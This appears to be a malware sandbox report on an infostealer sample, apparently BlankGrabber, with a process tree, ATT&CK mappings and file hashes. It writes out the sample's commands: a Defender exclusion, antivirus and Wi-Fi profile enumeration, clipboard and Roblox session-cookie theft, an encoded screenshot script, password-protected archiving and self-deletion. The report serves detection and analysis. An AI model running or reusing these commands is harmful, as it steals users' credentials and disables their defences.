    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2724
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      PID:2424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5148
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      PID:1732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3644
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:4872
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:4456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5416
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      PID:2000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3368
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:3548
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:5356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4208
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:2764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5488
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:2572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5304
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4100
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nxeoabxl\nxeoabxl.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1240
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9551.tmp" "c:\Users\Admin\AppData\Local\Temp\nxeoabxl\CSC4BF1F227E1D44654A46985D8E65325D.TMP"
        6⤵
        
        PID:4476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5376
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5096
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:1316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4224
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4376
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:4700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5828
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      PID:3872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2804
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:6108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2168
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:620
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1504
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1244
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:1848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4816
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI000011e02\rar.exe a -r -hp"savxz" "C:\Users\Admin\AppData\Local\Temp\GMxap.zip" *"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2508
  - - C:\Users\Admin\AppData\Local\Temp\_MEI000011e02\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI000011e02\rar.exe a -r -hp"savxz" "C:\Users\Admin\AppData\Local\Temp\GMxap.zip" *
      4⤵
      Executes dropped EXE
      PID:5124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3708
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:432
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1600
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5468
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    PID:2960
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:2600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    PID:1268
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe""
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:3512
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 3
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5868

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f1e5d82b5a189ea2be5bcb97eaf21b4ff8cb785bf14b9b7d0c3532a3cd068d60
MD5 22f0ffaa212f3eff78593bfdeee03662
SHA1 1464dfc97fd5c12669e86a3ebf2c748910c3a0c0
SHA512 cfa263d4dc671f524387464ef486912af1d32d2ca39594a346e17f511050f9ef98e8c20f042c67e367ba60eaa39abdb1d677bb570ed9d05101e17b8441faeb63
TLSH
T170216833B3DD8614CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 37d74de492b66d8a5add114d469d5fb6ae893f153acae9735dc6bf830b844bbd
MD5 4c3393e4e3c468bb7b062cb5d7cefb3d
SHA1 9b3c655d09eb13cc6fe5a5bd5306c65e2dc958e9
SHA512 8adc0d407e03f9df1f1a9dbf0197e57c1daf5efa68982db3df51425b5566bfcff9eae4c38a2fc9ab694494798d59f51f9d08d3ac427561594824a0097969788e
TLSH
T127215933F3CD8625D899413A50CEEC0036B6DBDB40DECE5BAB85D548B43F599CE611A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1644a8734b1a870853c20608b2c652c71a46e3cce6318ad116a4f9159a76d282
MD5 c104f03b2b4f3402a8cad00e56679300
SHA1 e1d3b9ab2d030f209415f08f5a8c3906bb5c86db
SHA512 d6e259d5aecf849e0b812f786147f10cfb7971150c06d1319d6907093c09ffb05f4a5559fbf4850a5f8dd99f00e9c06b994e9677baa707d549eb65a2042c9eb2
TLSH
T182215333F3CC8624CC9A403A50CEAC1036B687DB419EDFABBB84D155A43F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

RES9551.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9551.tmp
Size 1KB
SHA256 67444b5669c28af56862683b93442843cb752f98d86244c35e2e4fe197ee611b
MD5 c248c9c73ce4a11d2a2651fda987047a
SHA1 5ef0209b7997ef9136cbe87eae9998bb8f910c74
SHA512 92b9e7e8d4451dad608e8fbc0399e28610ca464a69d5e49b49240ca144c649bb9be9167d2ed243f2a9c1b3f92e38cc292f7b6cf2c36979b78241d988b2e16337
TLSH
